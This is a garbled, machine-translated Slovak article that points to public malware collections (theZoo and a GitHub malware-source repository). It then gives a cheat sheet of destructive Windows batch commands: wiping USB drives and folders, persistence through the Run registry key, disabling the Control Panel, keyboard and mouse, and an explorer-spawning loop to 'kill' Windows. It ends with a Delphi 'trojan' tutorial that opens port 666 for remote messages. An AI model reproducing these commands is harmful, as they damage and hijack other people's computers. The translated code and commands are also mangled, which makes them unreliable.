Trojský cheat. Ukážky vírusov so zdrojovým kódom

Odkiaľ sťahovať vzorky vírusov zdrojový kód a podrobný popis?

Nájdenie zbierky aktuálnych vírusov, a ešte viac pomocou popisu a zdrojového kódu, nie je jednoduchá úloha. Už sme povedali, kde na analýzu a štúdiu. Dnes vám poviem o jednom ďalšom zdroji, kde môžete nájsť a stiahnuť, ale tentokrát nielen malware nájdený v sieti, ale spustiteľné súbory a zdrojové kódy vírusov s podrobnými informáciami.

V tomto článku sa dozviete o niekoľkých zaujímavých projektoch, ktoré ponúkajú ponorenie sa do sveta zdrojových kódov všetkých druhov trójskych koní, botnetov, zlodejov, červov atď.

  • Predslov
  • Zdroje vírusov
  • Projekt TheZoo
  • Projekt škodlivého softvéru

Prečo a kto môže potrebovať vzorky vírusov?

Na analýzu technológií používaných škodlivým softvérom a na štúdium správania sa vírusov v systéme môžu byť potrebné spustiteľné súbory a zdroje vírusov (monitorovanie systém súborov, procesy,) a antivírusové testovanie. Zamestnanci antivírusových spoločností sú ochotní zaplatiť peniaze za získanie zdrojového kódu pre nový vírus.

Je legálne sťahovať vírusy?

Do počítača si môžete stiahnuť vzorky vírusov na štúdium a analýzu, ale nemôžete nimi šíriť a nakaziť ostatných. Viac o tom v článku 273 Trestného zákona Ruskej federácie.

Cieľom týchto projektov je poskytnúť špecialistom antivírusových spoločností a ľuďom, ktorí sa zaujímajú o analýzu vírusov, porozumieť štruktúre škodlivého kódu škodlivého softvéru.

Pozor! Stiahnuté súbory fungujú ako vírusy. Niektoré z nich sa pokúsia infikovať váš počítač. Stiahnuté súbory nikdy nespúšťajte na primárnom počítači. Tiež neodporúčam sťahovať vzorky vírusov bez rozsiahlych znalostí analýzy malwaru.

V každom prípade stránka www.site nenesie žiadnu zodpovednosť za akékoľvek škody, ktoré spôsobíte svojim počítačom a počítačom iných osôb.

Vrelo odporúčam používať. Nezabudnite na škodlivé červy, ktoré sa pokúsia šíriť a uniknúť z virtuálneho počítača. Aby ste tomu zabránili, odporúčame vám vypnúť všetky dodatky pre hostí virtuálne stroje, prístup k sieti atď. Ako to urobiť, sa dozviete z vyššie uvedeného odkazu.

Zdroje vírusov: projekt The Zoo

Začnime našu recenziu projektom TheZoo, ktorý v preklade znamená zoo (s humorom, autori sú v poriadku). Nachádza sa v úložisku Githab.

Cieľom projektu je sprístupniť štúdium vírusov. Autori zbierajú a aktualizujú vírusovú databázu. S pomocou theZoo budete mať prístup k obľúbeným ukážkam škodlivého softvéru.

Ukážky vírusov: Projekt TheZoo

Spustiteľný súbor aj zdrojový kód sú ponúkané na stiahnutie a preštudovanie.

Ako môžem používať Zoo?

Projekt theZoo môžete používať rôznymi spôsobmi: priamo z webu alebo pomocou rámca. Pokryjeme oba spôsoby. Začnime tým prvým.

Choďte teda na stránku a prezrite si niekoľko adresárov a súborov.

Vírusové spustiteľné súbory sú v adresári:

theZoo / malwares / binárne súbory /

V ňom nájdete spustiteľný súbor vírusov. Pre každý jednotlivý malware - samostatný adresár obsahujúci 4 súbory: samotný malware v šifrovanej forme v ZIP archíve, SHA256 a MD5 - kontrolné súčty archívu na porovnanie a heslo pre šifrovaný archív.


Vírusové spustiteľné súbory: Trojan Androrat

Zdrojový kód vírusov sú v adresári:

theZoo / malwares / Zdroj / Pôvodný /

Každý adresár obsahuje štyri podobné súbory. Všetko je rovnaké ako so spustiteľnými súbormi.


Zdroje vírusov: Trojan Dendroid

Pomoc je k dispozícii pre každú jednotlivú vzorku, ale na používanie pomoci je potrebné nainštalovať rámec.

Ak chcete nainštalovať rámec The Zoo, použite príkaz:

klon git https://github.com/ytisf/theZoo

Požiadavky: urllib2, python3

Príkazy: vyhľadávanie, používanie, získavanie, informácie, zoznam všetkých, správa-mal, aktualizácia-db, ukončenie. Získajte viac informácií o príkazoch pomocou príkazu help.

Týmto projektom sme sa teda zaoberali, teraz zvážime ďalší.

Ukážky vírusov: Projekt malwaru

Projekt Malware je hostiteľom aj na Githabe. Výber vírusov nie je taký veľký ako v zoo, ale aktualizuje sa častejšie. Medzi malým počtom škodlivých programov nájdete zdrojový kód pre trójske kone, botnety, ransomware, krádeže hesiel a ďalšie „dobré“.

Tu je zoznam k dnešnému dňu:

  • Alina Spark (trójsky kôň)
  • Bleeding Life 2 (balíček Expolit)
  • Carberp (Botnet)
  • Carberp (bankový trójsky kôň)
  • Crimepack 3.1.3 (balík Exploit)
  • Dendroid (trójsky kôň pre Android)
  • Dexter v2 (trójsky kôň)
  • Eda2, Stolich, Win32.Stolich (Ransomware)
  • FlexiSpy (spyware)
  • (Rámec)
  • GMBot (Android Trojan)
  • Gozi -ISFB - (bankový trójsky kôň)
  • Grum (spamový robot)
  • Hacking Team RCS ()
  • Skrytá slza
  • KINS (bankový trójsky kôň)
  • Mirai (Botnet IoT)
  • Pony 2.0 (Password Styler)
  • PowerLoader (Botnet)
  • Front-end RIG (balík Exploit)
  • Rovnix (Bootkit)
  • Tinba (bankový trójsky kôň)
  • TinyNuke (bankový trójsky kôň)
  • Trochilus, RedLeaves (RAT)
  • Zeus (bankový trójsky kôň)

Vírusový zdrojový kód: Malware Project

Prejdeme napríklad do priečinka Alina Trojan. Tu sa nám ponúka niekoľko adresárov, medzi ktorými sú zdroje. V spodnej časti navyše autori pridali odkazy na informácie súvisiace s malvérom.

tu sú pokyny k príkazom
assoc .exe = .mp3-Spustia sa exekútori ako hudobné vydavateľstvo E: pridurok-screw changes to moron time 00: 00-change time
dátum 13.03.36-zmeniť dátum podľa dokumentu .lnk = .txt-zmeniť štítky v kópii súboru txt% 0 F: \ Work.bat-skopírovať objekt

1) Program na odstraňovanie súborov z jednotky USB flash (ak je vložená) a jej premenovanie.
del F: \ *. * / q
štítok F: HACK
2) Program na zmenu dátumu a času v počítači a jeho skopírovanie na jednotku C a na jednotku USB flash.
čas 14:13
dátum 11.07.12
skopírujte% 0 C: \ Time.bat
kopírovať% 0 F: \ Time.bat
----------
> príkaz nul-hide line
% SystemRoot% / system32 / rundll32 user32, SwapMouseButton - prehodí klávesy myši
---------------
skopírujte ""% 0 ″ ""% SystemRoot% \ system32 \ File.bat "
reg pridať "HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run" / v "Filel" / t REG_SZ / d "% SystemRoot% \ system32 \ File.bat" / f
reg pridať HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer / v NoControlPanel / t REG_DWORD / d 1 / f
Veľmi krutý príkaz: pridá program k spusteniu operačného systému.
"Del x: \ y *. * / Q" - vymaže všetky súbory na disku x v priečinku y (okrem priečinkov) (príklad del F: \ Data *. * / Q);
„Čistý používateľ“ x „ / pridať“ - pridá do počítača používateľa pod menom x (príklad čistého používateľa „Fajčený“ / pridať);
„@Echo off“ je zadané na začiatku nášho vírusu a skryje všetko
užívateľ rundll32, disableoemlayer - pád systému (!) - deaktivuje všetky I / O funkcie (klávesnica, displej, myš). Výsledkom bude čierna obrazovka s kurzorom a nereagujúci systém, ale systém Windows naďalej beží.
del *. * / q (po spustení tohto príkazu budú odstránené všetky súbory okrem priečinkov, ktoré boli v priečinku, kde bol spustený vírus !!!
md 1-vytvorte priečinky
Na spustenie súboru počas Zavádzanie systému Windows, premenujte súbor na Autoexec.bat
Echo Virus Načítavanie-nápis lodin virus na obrazovke
del c: Program Files / q (odstráni všetky súbory z tohto priečinka)
reg - priama práca s registrom. Sledujte reg /? každý!
rcp - výmena súborov cez rcp v ascii
runas - v mene používateľa
tasklist - zobrazuje aplikácie a relácie s ním spojené.
taskkill - umožňuje vám zabiť jeden alebo viac procesov
tftp - triviálne ftp
tskill - zabite proces
reg - nástroj na interakciu s registrom
bootcfg - nastavenie boot.ini
pripojiť - umožňuje vám otvoriť zmazané súbory akoby boli v tej súčasnej.
getmac - získaj mas
odhlásenie - relácia koncového používateľa.
mem - zobrazenie informácií o aktuálnych procesoch v RAM
mqbkup - archivácia
netsh - ??
openfiles - zobrazuje otvorené súbory.
rsh - spúšťajte príkazy na vzdialených hostiteľoch s rsh
sc - príkazový riadok ??
rexec - vykonáva príkazy na vzdialených hostiteľoch so systémom rexec
shutdown - vypnutie (hehe) lokálneho alebo vzdialeného počítača.
systeminfo - zobrazuje informácie o počítači.
schtasks je plánovač úloh.
xcopy - kopírovanie súborov a adresárov.
tsshutdn - vypnutie servera v predpísanom poradí.
set - zobrazenie, nastavenie a odstránenie premenných prostredia cmd.exe. Vlastnosti systému (pr.kn. "môj počítač") - voliteľné - Premenné prostredia. Nie sú tam všetky premenné, ale mnohé! Všetko, čo je potrebné sledovať, je nastavené.
Mimochodom, tu je niekoľko príkazov RunDLL, ktoré je možné použiť na vytváranie dávkových súborov

užívateľ rundll32, wnetdisconnectdialog
Odpojiť okno sieťový disk„Zavolaj

užívateľ rundll32, vypnite prehrávač hier
Neprovokovať

užívateľ rundll32, repaintscreen
Aktualizovať (ako)

užívateľ rundll32, setcursorpos
Maus-kurzor vľavo hore, aby ste zasadili

disková kópia rundll32, DiskCopyRunDll
Okno " Kopírovať disk"Zavolaj

rundll32 rnaui.dll, RnaWizard / 1
Výzva na dialógové okno „Vytvoriť pripojenie“ (/ 1 = bez okna)

shell rundll32, shellexecute
Prieskumník-Otvorte okno v koreňovom adresári

rundll32 shell32, OpenAs_RunDLL
Okno „Otvoriť pomocou ...“ volať ***

rundll32 shell32, SHFormatDrive
Okno „Formát: Disk3,5 (A)“, hovor

rundll32 shell32, ShellAboutA
Informačný box (o systéme Windows)

rundll32 shell32, SHExitWindowsEx 0
Reštartujte Windows 98 (bez autoexec.bat atď.)

rundll32 shell32, SHExitWindowsEx 1
Dokončite prácu so systémom Windows 98

rundll32 shell32, SHExitWindowsEx 2
Zavádzanie systému Windows-98-PC

rundll32 shell32, SHExitWindowsEx -1
Reštartujte Windows-98-Explorer

rundll32 shell32, Control_RunDLL
Otvorte okno „Ovládací panel“

rundll32 shell32, Control_RunDLL desk.cpl
Otvorte „Vlastnosti obrazovky“

rundll32 shell32, Control_RunDLL main.cpl
Otvorte ovládací panel modulu z MAIN.CPL **

rundll32 krnl386.exe, výstupné jadro
ukončite Windows bez akýchkoľvek správ / otázok

používateľ rundll32, tlačidlo swapmouse
Pohybujte klávesami myši *

klávesnica rundll32, vypnúť
„Zakázať“ klávesnicu *

myš rundll32, vypnúť
„Zakázať“ myš *

rundll rnaui.dll, „poskytovateľ“ RnaDial
Volajte okno „Nadväzuje spojenie“ s názvom „poskytovateľ“

užívateľ rundll32, tilechildwindows
postaviť všetky nezrolované okná zhora nadol

používateľ rundll32, cascadechildwindows
postavte všetky roletové okná v kaskáde

rundll32 sysdm.cpl, InstallDevice_Rundll
(možné len vo W98) Nainštalujte hardvér, ktorý nie je kompatibilný s technológiou Plug & Play

rundll32 msprint2.dll, RUNDLL_PrintTestPage
v zobrazenej ponuke vyberte tlačiareň a odošlite na ňu test

užívateľ rundll32, setcaretblinktime
nastaviť novú frekvenciu blikajúcich kliatieb *

užívateľ rundll32, nastavte čas dvojitého kliknutia
nastaviť novú rýchlosť dvojitého klepnutia *

rundll32 setupx.dll, InstallHinfSection
PredvolenéNainštalovať 130; C: \ file.inf
Okno reštartu systému. Hrať teraz? ъ Áno / Nie ъ ”****

ASSOC - Zobrazí alebo upraví priradenia prípony súboru
AT - Plány príkazov a programov na spustenie v počítači.
ATTRIB - Zobrazí alebo zmení atribúty súboru.
BREAK - Nastaví alebo zruší kontrolu kombinácií.
CACLS - zobrazuje alebo upravuje zoznamy riadenia prístupu (ACL) pre súbory.
CALL - Vyvolá jeden súbor * .BAT z druhého.
CD - Zobrazí názov alebo zmení názov aktuálneho adresára.
CHCP - Zobrazí alebo nastaví číslo aktívnej kódovej stránky.
CHDIR - Zobrazí názov alebo zmení názov aktuálneho adresára.
CHKDSK - skontroluje disk a zobrazí správu o stave.
CLS - Vymaže obrazovku.
CMD - Spustenie novej inštancie tlmočníka Príkazy systému Windows NT.
COLOR - Nastaví predvolené farby popredia a pozadia konzoly.
PRÍKAZ - Spustí novú kópiu prekladača príkazov systému Windows.
COMP - Porovnáva obsah dvoch súborov alebo nastavených súborov.
COMPACT - Zobrazuje alebo upravuje kompresiu súborov v systéme Windows NT (NTFS).
CONVERT - Prevádza zväzky FAT do formátu súboru Systémy Windows NT (NTFS). Aktuálny disk nie je možné previesť.
KOPÍROVAŤ - Skopíruje jeden alebo viac súborov na iné miesto.
CTTY - Zmení koncové zariadenie používané na ovládanie vášho systému.
DATE - Zobrazí alebo nastaví dátum.
DEL - Odstráni jeden alebo viac súborov.
DEBUG - Vykonáva ladenie, testovanie programov a nástroje na úpravu.
DIR - Zobrazí zoznam súborov a podadresárov v adresári.
DISKCOMP - Porovnáva obsah dvoch diskiet.
DISKCOPY - Skopíruje obsah jednej diskety na druhú.
DOSKEY - Úpravy príkazové riadky, opravuje príkazy systému Windows a vytvára makro.
ECHO - Zobrazí správy alebo povolí / zakáže výstup príkazov.
EMM386 - Zapína / vypína podporu rozšírenej pamäte EMM386.
ENDLOCAL - Ukončí lokalizáciu zmien prostredia v súbore * .BAT.
ERASE - Vymaže jeden alebo viac súborov.
EXIT - Ukončí vykonávanie programu (príkazový interpret).
EXTRACT - Nástroj na extrahovanie informácií zo súborov CAB.
FC - Porovnáva dva súbory alebo nastavenia súborov a zobrazuje rozdiel medzi nimi.
FIND - Hľadá textový reťazec v súbore alebo súboroch.
FINDSTR - Hľadajte reťazce v súboroch.
FOR - Spustí zadaný príkaz pre každý súbor v sade súborov.
FORMAT - Naformátuje disk na použitie v systéme Windows.
FTYPE - Zobrazí alebo upraví typy súborov používané v prepojeniach rozšírení.
GOTO - Nasmeruje interpret príkazov systému Windows NT na označený riadok v súbore * .BAT.
GRAFTABL - Schopnosť systému Windows zobrazovať pseudografické symboly vložené v grafickom režime.
POMOC - Poskytuje informácie o pomocníkovi pre príkazy systému Windows.
IF - Vykonáva spracovanie podmienky v súbore * .BAT.
KEYB - Konfiguruje klávesnicu pre daný jazyk.
LABEL - Vytvorí, upraví alebo odstráni označenie zväzku na disku.
LOADHIGH (LH) - Načíta program do adries s vysokou pamäťou.
MD - Vytvorí adresár.
MEM - zobrazuje množstvo použitej a voľnej pamäte vo vašom systéme.
MKDIR - Vytvorí adresár.
MODE - Konfiguruje systémové zariadenie.
VIAC - Zobrazí výstup po jednej obrazovke.
MOVE - presunie jeden alebo viac súborov z jedného adresára do druhého na rovnakom disku.
NETSTAT - zobrazuje štatistiku protokolov a aktuálnosť sieťové pripojenia TCP / IP.
NLSFUNC - Načíta informácie špecifické pre krajinu.
PATH - Zobrazí alebo nastaví cestu vyhľadávania pre spustiteľné súbory.
PAUSE - Pozastaví spracovanie súboru * .BAT a zobrazí správu.
POPD - Obnoviť predchádzajúca hodnota aktuálny adresár uložený pomocou PUSHD.
PRINT - Vytlačí textový súbor.
PROMPT - Zmení príkazový riadok systému Windows.
PUSHD - uloží aktuálny adresár a potom sa zmení.
RD - Odstráni adresár.
RECOVER - Obnoví čitateľné informácie zo zlého alebo chybného disku.
REM - Zapisuje komentáre (poznámky) k súborom * .BAT alebo CONFIG.SYS.
REN - Premenujte súbor alebo súbory.
RENAME - Premenujte súbor alebo súbory.
REPLACE - Nahradí súbory.
OBNOVIŤ - Obnoví súbory, ktoré boli archivované pomocou príkazu ZÁLOHOVANIE.
RMDIR - Odstráni adresár.
SET - Zobrazí, nastaví alebo odstráni premenné prostredia Windows.
SETLOCAL - Spustí lokalizáciu zmien prostredia v súbore * .BAT.
SETVER - Nastaví číslo verzie systému MS -DOS, ktoré systém Windows oznámi programu.
SHIFT - Posunie pozíciu nahradených parametrov v súbore * .BAT.
SMARTDRV - Nainštaluje a nakonfiguruje nástroj pre ukladanie do pamäte cache SMART pohon- riadiť.
Triediť - triedi vstupný tok.
ŠTART - Spustí samostatné okno na vykonanie uvedený program alebo príkaz.
SUBST - Priradí cestu k písmenu jednotky.
SYS - Skopíruje systémové súbory MS -DOS a interpret príkazov na jednotku, ktorú zadáte.
TIME - Zobrazí alebo nastaví systémový čas.
TITLE - Nastaví názov okna pre reláciu.
TREE - Graficky zobrazuje adresárovú štruktúru disku alebo cesty.
TYPE - Zobrazí obsah textového súboru.
VER - Zobrazí verziu systému Windows.
VERIFY - Informuje systém Windows, či má skontrolovať, či sú súbory zapísané na disk správne.
VOL - Zobrazí označenie zväzku disku a sériové číslo.
XCOPY - Skopíruje súbory a adresárové stromy.

Ak chcete „zabiť“ Windows, potom:
@echo vypnuté
spustite prieskumníka
spustite prieskumníka
spustite prieskumníka
spustite prieskumníka - znova zopakujte 100 a píšte na spustenie.

Ak vás zaujíma, ako sú napísané „Programy server-klient“ a ako fungujú na skutočnom príklade, navrhujem prečítať si príspevok do konca. Bude to zaujímavé!

Rozhodol som sa napísať príklad programu v Delphi! Pretože je jednoduchší a vhodný pre malý, ale skutočný príklad. Pokiaľ ide o hrozivé slovo „“, ktoré som spomenul vyššie, tu sa skutočne ukazuje, že je to skutočný trójsky kôň, ale s malou a neškodnou funkciou.

Dozviete sa, podľa akého princípu píšu “ "A ako fungujú zvnútra!" Existuje však jeden „ALE“ trójske kone, ktoré nepíšu, pretože - bude to popísané nižšie. Pretože v našom prípade „ Server»Časť programu bude veľa vážiť ( To nie je prijateľné pre skutočného trójskeho koňa), a nebudeme to skrývať v systéme. V skutočnosti „škodlivý softvér“ je všetko trochu inak.

Pokúšajú sa vyvinúť serverovú časť programu s malou veľkosťou, asi „100 KB“ plus - mínus niekoľko KB. A skrývajú ho v systéme, takže dlho bude dlho hľadať! ...

Ale všetko je presne, princíp vývoja je rovnaký! A tento príklad je ideálny na pochopenie toho, ako programy fungujú podľa zásady „server - klient“. Jednoducho nemáme správny tón na vývoj trójskeho koňa, ale potrebujeme ho? Správny. NIE !!! Sme dobrí chlapi a nechystáme sa chuligánov!

Ako programy fungujú podľa zásady „Server - klient“

Jednoducho a v skratke obrázok vyzerá takto: Bežíte na počítači “ Zákazník„Časť programu má spravidla„ GUI “, tj používateľské rozhranie (ak klient nie je konzolový)

Počítač, ku ktorému chcete získať prístup, sa spustí " Server»Časť programu tiež otvára určitý port na počítači niekoho iného a v systéme nie je viditeľný.

Prostredníctvom tohto portu sa vytvoria pripojenia, zadáte port a IP adresu počítača, na ktorom je server spustený v klientovi, pripojíte sa k serveru a z počítača môžete bezpečne vykonávať niektoré akcie na počítači niekoho iného! Môžete si tiež prečítať môj posledný príspevok a zistiť:

Dúfam, že som to tu vysvetlil, zrozumiteľne a jednoduchým ľudským jazykom! Ak niečo nie je jasné, potom na príklade bude všetko jasné! Ďalej sa rozhodneme, aké akcie budú vykonané na vzdialenom počítači kvôli práci nášho malého trójskeho koňa!

Aká je funkčnosť v tomto prípade programu Server - Klient.

Úprimne povedané, v tejto fáze, keď som premýšľal, čo ukázať, nejako som váhal a nemohol som myslieť na niečo zaujímavé! Vo všeobecnosti nech existuje funkčnosť z jednej možnosti a strašne jednoduchá:

- Používateľ dostane vašu správu.

Nevidím dôvod pridávať ďalšie funkcie. Pretože si myslím, že na príklad a pochopenie toho úplne stačí. Tiež si myslím, že nemá cenu písať veľa kódu, to, čo je nižšie, stačí na to, aby ste sa na program pozreli zvnútra!

A pretože miestom správy môže byť čokoľvek, závisí to od predstavivosti osoby, ktorá sa rozhodla napísať trójskeho koňa, a od jeho znalostí programovania.

Nuž, budeme mať taký vtip! Človek sediaci za počítačom zrazu dostane napríklad správu

« Ahoj, túlam sa po tvojom počítači»

vies si predstavit reakciu cloveka? Myslím, že je to zábavné, bolo by vidieť jeho výraz !!!

Vývoj programu podľa zásady „Server - klient“

Poďme na zábavnú časť! A začneme tým, že vyvinieme „ Server»Potom k tomu napíšeme klienta! Nebudem vysvetľovať kód programu, len uvediem príklady, ale nemám blog o programovaní a účelom príspevku je krok za krokom ukázať proces vývoja takýchto programov typu „server - klient“

Vývoj servera!

Na začiatku musíte „Server“ naučiť, aby otvoril nejaký port na počítači, aby ste sa k nemu v budúcnosti mohli pripojiť z „klienta“, a až potom vás naučíme prijímať príkazy a vykonávať niektoré akcie. na PC.

Otvorme port pomocou nasledujúceho kódu, ktorý je bolestivo jednoduchý:

Delphi / Pascal

procedúra TForm1.FormCreate (Odosielateľ: TObject); začať ServerSocket1.Port: = 666; ServerSocket1.Active: = true; koniec;

postup TForm1. FormCreate (Odosielateľ: TObject);

začať

ServerSocket1. Prístav: = 666;

ServerSocket1. Aktívne: = true;

koniec;

Ak teraz spustíte program, zobrazí sa jednoducho prázdne okno bez tlačidiel a ďalších prvkov. A čo je najdôležitejšie, v počítači sa otvorí číslo portu „666.“ Práve na tento port budeme v budúcnosti odosielať príkazy na server a ten ich bude naopak spracovávať.

Medzitým sa uistite, že je server spustený a port je otvorený, vyvolajte príkaz „netstat“ a pozrite sa na výsledok.

Ako vidíte na počítači, v dôsledku spustenia nášho programu bol port s číslom „666“ skutočne otvorený. Toto hovorí iba o jednej veci, program funguje a je čas učiť “ Server»Prijať správu.

Delphi / Pascal

procedúra TForm1.ServerSocket1ClientRead (Odosielateľ: TObject; Socket: TCustomWinSocket); var komm: reťazec; Začnite komm: = socket.ReceiveText; ak copy (komm, 1,12) = "MESSAGE_TEXT", potom začnite mazať (komm, 1, 12); ShowMessage (komm); koniec; koniec;

postup TForm1. ServerSocket1ClientRead (Odosielateľ: TObject;

Zásuvka: TCustomWinSocket);

komm: reťazec;

Začať

komm: = zásuvka. ReceiveText;

ak copy (komm, 1, 12) = "MESSAGE_TEXT" potom

začať

Odstrániť (komm, 1, 12);

ShowMessage (komm);

koniec;

koniec;

Tu sú veci nasledujúce! Ak server dostane príkaz s názvom „MESSAGE_TEXT“ ( Názov môže byť ľubovoľný) potom bude fungovať postup „ShowMessage“ a zobrazí správu, ktorá bola dodaná s príkazom a je uložená v reťazcovej premennej „komm“

Preto bude text správy napísaný „ Zákazník”A môže to byť akýkoľvek obsah!

V iných veciach je to vývoj „ ServerČasť sa skončila. V dôsledku toho sme dostali súbor „ Server.exe„A zatiaľ to odlož, kým nenapíšeme“ Zákazník»

Rozvoj klientov!

Budeme mať zo zrejmých dôvodov klienta s grafickým používateľským rozhraním (GUI) a musí mať ovládacie prvky, tlačidlá a vstupné polia. Mám tento druh programu:

Poďme sa rozhodnúť pre všetky prvky! Aj keď je to pochopiteľné, ako sa hovorí, vysvetlím to len pre prípad.

IP: Polia na zadanie adresy IP počítača, na ktorom je server spustený.
Prístav: Zadajte číslo portu, na ktorom server visí.
- Pripojte sa: Tlačidlo na pripojenie k serveru.
- Textová správa: Vstupné pole pre správu, ktorá sa má odoslať.
- Poslať správu…: Príslušné tlačidlo na odoslanie správy.
- Stav pripojenia: Tu zistíme, či sme spojení alebo nie!

Delphi / Pascal

procedúra TForm1.Button1Click (Odosielateľ: TObject); začať ClientSocket.Host:= IP.Text; ClientSocket.Port: = StrToInt (Port.Text); ClientSocket.Open; koniec;

postup TForm1. Button1Click (Odosielateľ: TObject);

začať

ClientSocket. Hostiteľ: = IP. Text;

ClientSocket. Port: = StrToInt (Port. Text);

ClientSocket. Otvorené;

koniec;

Môžete začať práve teraz, spustiť program a pokúsiť sa pripojiť k „ Server»Výsledok sa však nedozvieme, či sú prepojené alebo nie. Pred kontrolou to opravíme a naučíme program zobrazovať výsledok pripojenia.

Delphi / Pascal

procedúra TForm1.ClientSocketConnect (Odosielateľ: TObject; Socket: TCustomWinSocket); begin Label4.Caption: = ("Mohlo by sa pripojiť k:" + IP.Text); Label4.Font.Color: = clGreen; koniec;

A v prípade, že sa napríklad všetkým prúdom nepodarilo pripojiť k serveru, pretože „ Server"Na vzdialenom počítači nie je spustený počítač, a preto je port" 666 "zatvorený.

Delphi / Pascal

Procedúra TForm1.ClientSocketError (Odosielateľ: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if ErrorCode = 10061 then begin ClientSocket.Active: = False; Label4.Font.Color: = clRed; Label4.Caption: = ("Nepodarilo sa pripojiť k:" + IP.Text); Kód chyby: = 0; koniec; koniec;

postup TForm1. ClientSocketError (Odosielateľ: TObject; Zásuvka: TCustomWinSocket;

ErrorEvent: TErrorEvent; var ErrorCode: Integer);

začať

Ak je kód chyby = 10061, potom

začať

ClientSocket. Aktívne: = nepravdivé;

Štítok 4. Písmo. Farba: = červená;

Štítok 4. Popis: = ( "Nepodarilo sa pripojiť k:"+ IP. Text);

Kód chyby: = 0;

koniec;

koniec;

Teraz sa pozrime, ako program funguje. Na začiatku spustíme klienta, ale nespustíme server, aby sme skontrolovali, či sa nezobrazí správa, že sa pripojí.